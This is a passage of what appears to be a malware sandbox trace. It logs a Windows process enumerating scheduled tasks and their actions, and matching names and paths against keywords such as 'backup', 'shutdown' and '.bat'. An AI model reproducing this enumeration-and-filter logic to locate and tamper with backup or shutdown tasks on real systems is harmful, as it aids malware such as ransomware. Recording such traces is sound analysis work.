This=0x47fea0, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.636] IUnknown:Release (This=0x47fea0) returned 0x0 [0130.636] TaskScheduler:IUnknown:Release (This=0x47fe10) returned 0x0 [0130.636] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x14, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x47fe10) returned 0x0 [0130.636] ITaskFolder:GetTasks (in: This=0x47fe10, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fe90) returned 0x0 [0130.637] IRegisteredTaskCollection:get_Count (in: This=0x47fe90, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=2) returned 0x0 [0130.637] IRegisteredTaskCollection:get_Item (in: This=0x47fe90, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff88) returned 0x0 [0130.637] IRegisteredTask:get_Name (in: This=0x47ff88, pName=0x5cf9f8 | out: pName=0x5cf9f8*="Background Synchronization") returned 0x0 [0130.637] IRegisteredTask:get_State (in: This=0x47ff88, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0130.643] IUnknown:Release (This=0x47ff88) returned 0x0 [0130.643] IRegisteredTaskCollection:get_Item (in: This=0x47fe90, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff88) returned 0x0 [0130.643] IRegisteredTask:get_Name (in: This=0x47ff88, pName=0x5cf9f8 | out: pName=0x5cf9f8*="Logon Synchronization") returned 0x0 [0130.643] IRegisteredTask:get_State (in: This=0x47ff88, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0130.645] IUnknown:Release (This=0x47ff88) returned 0x0 [0130.645] IUnknown:Release (This=0x47fe90) returned 0x0 [0130.645] ITaskFolder:GetFolders (in: This=0x47fe10, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fe90) returned 0x0 [0130.646] ITaskFolderCollection:get_Count (in: This=0x47fe90, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.646] IUnknown:Release (This=0x47fe90) returned 0x0 [0130.646] TaskScheduler:IUnknown:Release (This=0x47fe10) returned 0x0 [0130.646] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x15, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x47fe10) returned 0x0 [0130.646] ITaskFolder:GetTasks (in: This=0x47fe10, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fe88) returned 0x0 [0130.647] IRegisteredTaskCollection:get_Count (in: This=0x47fe88, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0130.647] IUnknown:Release (This=0x47fe88) returned 0x0 [0130.647] ITaskFolder:GetFolders (in: This=0x47fe10, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fe88) returned 0x0 [0130.648] ITaskFolderCollection:get_Count (in: This=0x47fe88, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.648] IUnknown:Release (This=0x47fe88) returned 0x0 [0130.648] TaskScheduler:IUnknown:Release (This=0x47fe10) returned 0x0 [0130.648] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x16, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x47fe10) returned 0x0 [0130.648] ITaskFolder:GetTasks (in: This=0x47fe10, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fe78) returned 0x0 [0130.648] IRegisteredTaskCollection:get_Count (in: This=0x47fe78, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0130.648] IUnknown:Release (This=0x47fe78) returned 0x0 [0130.648] ITaskFolder:GetFolders (in: This=0x47fe10, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fe78) returned 0x0 [0130.649] ITaskFolderCollection:get_Count (in: This=0x47fe78, pCount=0x5cfa40 | out: pCount=0x5cfa40*=1) returned 0x0 [0130.649] ITaskFolderCollection:get_Item (in: This=0x47fe78, index=0x5cfa1c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppFolder=0x5cfa44 | out: ppFolder=0x5cfa44*=0x47ff58) returned 0x0 [0130.649] ITaskFolder:GetTasks (in: This=0x47ff58, flags=0, ppTasks=0x5cf9e4 | out: ppTasks=0x5cf9e4*=0x2460048) returned 0x0 [0130.649] IRegisteredTaskCollection:get_Count (in: This=0x2460048, pCount=0x5cf9c0 | out: pCount=0x5cf9c0*=0) returned 0x0 [0130.649] IUnknown:Release (This=0x2460048) returned 0x0 [0130.649] ITaskFolder:GetFolders (in: This=0x47ff58, flags=0, ppFolders=0x5cfa20 | out: ppFolders=0x5cfa20*=0x2460048) returned 0x0 [0130.650] ITaskFolderCollection:get_Count (in: This=0x2460048, pCount=0x5cfa14 | out: pCount=0x5cfa14*=0) returned 0x0 [0130.650] IUnknown:Release (This=0x2460048) returned 0x0 [0130.650] TaskScheduler:IUnknown:Release (This=0x47ff58) returned 0x0 [0130.650] IUnknown:Release (This=0x47fe78) returned 0x0 [0130.650] TaskScheduler:IUnknown:Release (This=0x47fe10) returned 0x0 [0130.650] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x17, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x47fe10) returned 0x0 [0130.650] ITaskFolder:GetTasks (in: This=0x47fe10, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fea8) returned 0x0 [0130.650] IRegisteredTaskCollection:get_Count (in: This=0x47fea8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0130.650] IRegisteredTaskCollection:get_Item (in: This=0x47fea8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460048) returned 0x0 [0130.650] IRegisteredTask:get_Name (in: This=0x2460048, pName=0x5cf9f8 | out: pName=0x5cf9f8*="AnalyzeSystem") returned 0x0 [0130.650] IRegisteredTask:get_State (in: This=0x2460048, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0130.653] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6f3fe8 [0130.653] wcsstr (_Str="analyzesystem", _SubStr="reboot") returned 0x0 [0130.653] wcsstr (_Str="analyzesystem", _SubStr="restart") returned 0x0 [0130.653] wcsstr (_Str="analyzesystem", _SubStr="shutdown") returned 0x0 [0130.653] wcsstr (_Str="analyzesystem", _SubStr="logoff") returned 0x0 [0130.653] wcsstr (_Str="analyzesystem", _SubStr=".bat") returned 0x0 [0130.653] wcsstr (_Str="analyzesystem", _SubStr="backup") returned 0x0 [0130.653] wcsstr (_Str="analyzesystem", _SubStr=".cmd") returned 0x0 [0130.653] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3fe8) returned 1 [0130.653] IRegisteredTask:get_Definition (in: This=0x2460048, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2460090) returned 0x0 [0130.663] ITaskDefinition:get_Actions (in: This=0x2460090, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2460108) returned 0x0 [0130.663] IActionCollection:get_Count (in: This=0x2460108, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0130.663] IActionCollection:get_Item (in: This=0x2460108, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2460948) returned 0x0 [0130.663] IAction:get_Type (in: This=0x2460948, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0130.663] IUnknown:QueryInterface (in: This=0x2460948, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2460948) returned 0x0 [0130.663] IExecAction:get_Path (in: This=0x2460948, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\System32\\powercfg.exe") returned 0x0 [0130.663] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x46) returned 0x6e7220 [0130.663] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr="reboot") returned 0x0 [0130.663] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr="restart") returned 0x0 [0130.663] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr="shutdown") returned 0x0 [0130.663] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr="logoff") returned 0x0 [0130.663] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr=".bat") returned 0x0 [0130.663] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr="backup") returned 0x0 [0130.663] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr=".cmd") returned 0x0 [0130.663] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7220) returned 1 [0130.663] IExecAction:get_Arguments (in: This=0x2460948, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="-energy -auto") returned 0x0 [0130.663] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6f3e08 [0130.663] wcsstr (_Str="-energy -auto", _SubStr="reboot") returned 0x0 [0130.663] wcsstr (_Str="-energy -auto", _SubStr="restart") returned 0x0 [0130.663] wcsstr (_Str="-energy -auto", _SubStr="shutdown") returned 0x0 [0130.663] wcsstr (_Str="-energy -auto", _SubStr="logoff") returned 0x0 [0130.663] wcsstr (_Str="-energy -auto", _SubStr=".bat") returned 0x0 [0130.663] wcsstr (_Str="-energy -auto", _SubStr="backup") returned 0x0 [0130.663] wcsstr (_Str="-energy -auto", _SubStr=".cmd") returned 0x0 [0130.663] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3e08) returned 1 [0130.664] IUnknown:Release (This=0x2460948) returned 0x2 [0130.664] IUnknown:Release (This=0x2460948) returned 0x1 [0130.664] IUnknown:Release (This=0x2460108) returned 0x1 [0130.664] IUnknown:Release (This=0x2460090) returned 0x0 [0130.664] IUnknown:Release (This=0x2460048) returned 0x0 [0130.664] IUnknown:Release (This=0x47fea8) returned 0x0 [0130.664] ITaskFolder:GetFolders (in: This=0x47fe10, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fea8) returned 0x0 [0130.664] ITaskFolderCollection:get_Count (in: This=0x47fea8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.664] IUnknown:Release (This=0x47fea8) returned 0x0 [0130.664] TaskScheduler:IUnknown:Release (This=0x47fe10) returned 0x0 [0130.664] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x47fe10) returned 0x0 [0130.664] ITaskFolder:GetTasks (in: This=0x47fe10, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fe78) returned 0x0 [0130.665] IRegisteredTaskCollection:get_Count (in: This=0x47fe78, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0130.665] IUnknown:Release (This=0x47fe78) returned 0x0 [0130.665] ITaskFolder:GetFolders (in: This=0x47fe10, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fe78) returned 0x0 [0130.665] ITaskFolderCollection:get_Count (in: This=0x47fe78, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.665] IUnknown:Release (This=0x47fe78) returned 0x0 [0130.665] TaskScheduler:IUnknown:Release (This=0x47fe10) returned 0x0 [0130.665] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x19, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x47fe10) returned 0x0 [0130.665] ITaskFolder:GetTasks (in: This=0x47fe10, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fe78) returned 0x0 [0130.666] IRegisteredTaskCollection:get_Count (in: This=0x47fe78, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0130.666] IUnknown:Release (This=0x47fe78) returned 0x0 [0130.666] ITaskFolder:GetFolders (in: This=0x47fe10, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fe78) returned 0x0 [0130.666] ITaskFolderCollection:get_Count (in: This=0x47fe78, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.666] IUnknown:Release (This=0x47fe78) returned 0x0 [0130.666] TaskScheduler:IUnknown:Release (This=0x47fe10) returned 0x0 [0130.666] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1a, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x47fe10) returned 0x0 [0130.666] ITaskFolder:GetTasks (in: This=0x47fe10, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fe80) returned 0x0 [0130.666] IRegisteredTaskCollection:get_Count (in: This=0x47fe80, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0130.667] IUnknown:Release (This=0x47fe80) returned 0x0 [0130.667] ITaskFolder:GetFolders (in: This=0x47fe10, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fe80) returned 0x0 [0130.667] ITaskFolderCollection:get_Count (in: This=0x47fe80, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.667] IUnknown:Release (This=0x47fe80) returned 0x0 [0130.667] TaskScheduler:IUnknown:Release (This=0x47fe10) returned 0x0 [0130.667] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x47fe10) returned 0x0 [0130.667] ITaskFolder:GetTasks (in: This=0x47fe10, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fec0) returned 0x0 [0130.667] IRegisteredTaskCollection:get_Count (in: This=0x47fec0, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0130.667] IUnknown:Release (This=0x47fec0) returned 0x0 [0130.667] ITaskFolder:GetFolders (in: This=0x47fe10, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fec0) returned 0x0 [0130.668] ITaskFolderCollection:get_Count (in: This=0x47fec0, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.668] IUnknown:Release (This=0x47fec0) returned 0x0 [0130.668] TaskScheduler:IUnknown:Release (This=0x47fe10) returned 0x0 [0130.668] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1c, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x47fe10) returned 0x0 [0130.668] ITaskFolder:GetTasks (in: This=0x47fe10, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fe90) returned 0x0 [0130.668] IRegisteredTaskCollection:get_Count (in: This=0x47fe90, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0130.668] IUnknown:Release (This=0x47fe90) returned 0x0 [0130.668] ITaskFolder:GetFolders (in: This=0x47fe10, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fe90) returned 0x0 [0130.669] ITaskFolderCollection:get_Count (in: This=0x47fe90, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.669] IUnknown:Release (This=0x47fe90) returned 0x0 [0130.669] TaskScheduler:IUnknown:Release (This=0x47fe10) returned 0x0 [0130.669] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1d, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x47fe10) returned 0x0 [0130.669] ITaskFolder:GetTasks (in: This=0x47fe10, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fe80) returned 0x0 [0130.669] IRegisteredTaskCollection:get_Count (in: This=0x47fe80, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0130.669] IUnknown:Release (This=0x47fe80) returned 0x0 [0130.669] ITaskFolder:GetFolders (in: This=0x47fe10, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fe80) returned 0x0 [0130.670] ITaskFolderCollection:get_Count (in: This=0x47fe80, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.670] IUnknown:Release (This=0x47fe80) returned 0x0 [0130.670] TaskScheduler:IUnknown:Release (This=0x47fe10) returned 0x0 [0130.670] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1e, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x47fe10) returned 0x0 [0130.670] ITaskFolder:GetTasks (in: This=0x47fe10, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fe80) returned 0x0 [0130.670] IRegisteredTaskCollection:get_Count (in: This=0x47fe80, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=4) returned 0x0 [0130.671] IRegisteredTaskCollection:get_Item (in: This=0x47fe80, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff68) returned 0x0 [0130.671] IRegisteredTask:get_Name (in: This=0x47ff68, pName=0x5cf9f8 | out: pName=0x5cf9f8*="AutoWake") returned 0x0 [0130.671] IRegisteredTask:get_State (in: This=0x47ff68, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0130.673] IUnknown:Release (This=0x47ff68) returned 0x0 [0130.673] IRegisteredTaskCollection:get_Item (in: This=0x47fe80, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff68) returned 0x0 [0130.673] IRegisteredTask:get_Name (in: This=0x47ff68, pName=0x5cf9f8 | out: pName=0x5cf9f8*="GadgetManager") returned 0x0 [0130.673] IRegisteredTask:get_State (in: This=0x47ff68, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0130.675] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6f40b0 [0130.675] wcsstr (_Str="gadgetmanager", _SubStr="reboot") returned 0x0 [0130.675] wcsstr (_Str="gadgetmanager", _SubStr="restart") returned 0x0 [0130.675] wcsstr (_Str="gadgetmanager", _SubStr="shutdown") returned 0x0 [0130.675] wcsstr (_Str="gadgetmanager", _SubStr="logoff") returned 0x0 [0130.675] wcsstr (_Str="gadgetmanager", _SubStr=".bat") returned 0x0 [0130.675] wcsstr (_Str="gadgetmanager", _SubStr="backup") returned 0x0 [0130.675] wcsstr (_Str="gadgetmanager", _SubStr=".cmd") returned 0x0 [0130.675] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f40b0) returned 1 [0130.675] IRegisteredTask:get_Definition (in: This=0x47ff68, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x24600b0) returned 0x0 [0130.687] ITaskDefinition:get_Actions (in: This=0x24600b0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2460128) returned 0x0 [0130.687] IActionCollection:get_Count (in: This=0x2460128, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0130.687] IActionCollection:get_Item (in: This=0x2460128, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2460938) returned 0x0 [0130.687] IAction:get_Type (in: This=0x2460938, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0130.687] IUnknown:Release (This=0x2460938) returned 0x1 [0130.687] IUnknown:Release (This=0x2460128) returned 0x1 [0130.687] IUnknown:Release (This=0x24600b0) returned 0x0 [0130.687] IUnknown:Release (This=0x47ff68) returned 0x0 [0130.687] IRegisteredTaskCollection:get_Item (in: This=0x47fe80, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff68) returned 0x0 [0130.687] IRegisteredTask:get_Name (in: This=0x47ff68, pName=0x5cf9f8 | out: pName=0x5cf9f8*="SessionAgent") returned 0x0 [0130.687] IRegisteredTask:get_State (in: This=0x47ff68, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0130.689] IUnknown:Release (This=0x47ff68) returned 0x0 [0130.689] IRegisteredTaskCollection:get_Item (in: This=0x47fe80, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff68) returned 0x0 [0130.689] IRegisteredTask:get_Name (in: This=0x47ff68, pName=0x5cf9f8 | out: pName=0x5cf9f8*="SystemDataProviders") returned 0x0 [0130.689] IRegisteredTask:get_State (in: This=0x47ff68, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0130.691] IUnknown:Release (This=0x47ff68) returned 0x0 [0130.691] IUnknown:Release (This=0x47fe80) returned 0x0 [0130.691] ITaskFolder:GetFolders (in: This=0x47fe10, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fe80) returned 0x0 [0130.692] ITaskFolderCollection:get_Count (in: This=0x47fe80, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.692] IUnknown:Release (This=0x47fe80) returned 0x0 [0130.692] TaskScheduler:IUnknown:Release (This=0x47fe10) returned 0x0 [0130.692] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1f, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x47fe10) returned 0x0 [0130.692] ITaskFolder:GetTasks (in: This=0x47fe10, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fea8) returned 0x0 [0130.692] IRegisteredTaskCollection:get_Count (in: This=0x47fea8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0130.692] IUnknown:Release (This=0x47fea8) returned 0x0 [0130.692] ITaskFolder:GetFolders (in: This=0x47fe10, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fea8) returned 0x0 [0130.693] ITaskFolderCollection:get_Count (in: This=0x47fea8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.693] IUnknown:Release (This=0x47fea8) returned 0x0 [0130.693] TaskScheduler:IUnknown:Release (This=0x47fe10) returned 0x0 [0130.693] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x47fe10) returned 0x0 [0130.693] ITaskFolder:GetTasks (in: This=0x47fe10, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fe88) returned 0x0 [0130.693] IRegisteredTaskCollection:get_Count (in: This=0x47fe88, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0130.693] IUnknown:Release (This=0x47fe88) returned 0x0 [0130.693] ITaskFolder:GetFolders (in: This=0x47fe10, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fe88) returned 0x0 [0130.694] ITaskFolderCollection:get_Count (in: This=0x47fe88, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0130.694] IUnknown:Release (This=0x47fe88) returned 0x0 [0130.694] TaskScheduler:IUnknown:Release (This=0x47fe10) returned 0x0 [0130.694] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x21, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x47fe10) returned 0x0 [0130.694] ITaskFolder:GetTasks (in: This=0x47fe10, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fe90) returned 0x0 [0130.694] IRegisteredTaskCollection:get_Count (in: This=0x47fe90, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0130.694] IRegisteredTaskCollection:get_Item (in: This=0x47fe90, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff88) returned 0x0 [0130.694] IRegisteredTask:get_Name (in: This=0x47ff88, pName=0x5cf9f8 | out: pName=0x5cf9f8*="SR") returned 0x0 [0130.694] IRegisteredTask:get_State (in: This=0x47ff88, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0130.696] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x6) returned 0x6d8978 [0130.696] wcsstr (_Str="sr", _SubStr="reboot") returned 0x0 [0130.696] wcsstr (_Str="sr", _SubStr="restart") returned 0x0 [0130.696] wcsstr (_Str="sr", _SubStr="shutdown") returned 0x0 [0130.696] wcsstr (_Str="sr", _SubStr="logoff") returned 0x0 [0130.696] wcsstr (_Str="sr", _SubStr=".bat") returned 0x0 [0130.696] wcsstr (_Str="sr", _SubStr="backup") returned 0x0 [0130.696] wcsstr (_Str="sr", _SubStr=".cmd") returned 0x0 [0130.696] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8978) returned 1 [0130.696] IRegisteredTask:get_Definition (in: This=0x47ff88, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x24600a0) returned 0x0 [0130.707] ITaskDefinition:get_Actions (in: This=0x24600a0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2460118) returned 0x0 [0130.707] IActionCollection:get_Count (in: This=0x2460118, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0130.707] IActionCollection:get_Item (in: This=0x2460118, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2460a68) returned 0x0 [0130.707] IAction:get_Type (in: This=0x2460a68, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0130.707] IUnknown:QueryInterface (in: This=0x2460a68, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2460a68) returned 0x0 [0130.707] IExecAction:get_Path (in: This=0x2460a68, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\system32\\rundll32.exe") returned 0x0 [0130.707] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x3e) returned 0x6c28a8 [0130.707] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="reboot") returned 0x0 [0130.707] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="restart") returned 0x0 [0130.707] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="shutdown") returned 0x0 [0130.707] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="logoff") returned 0x0 [0130.707] wcsstr 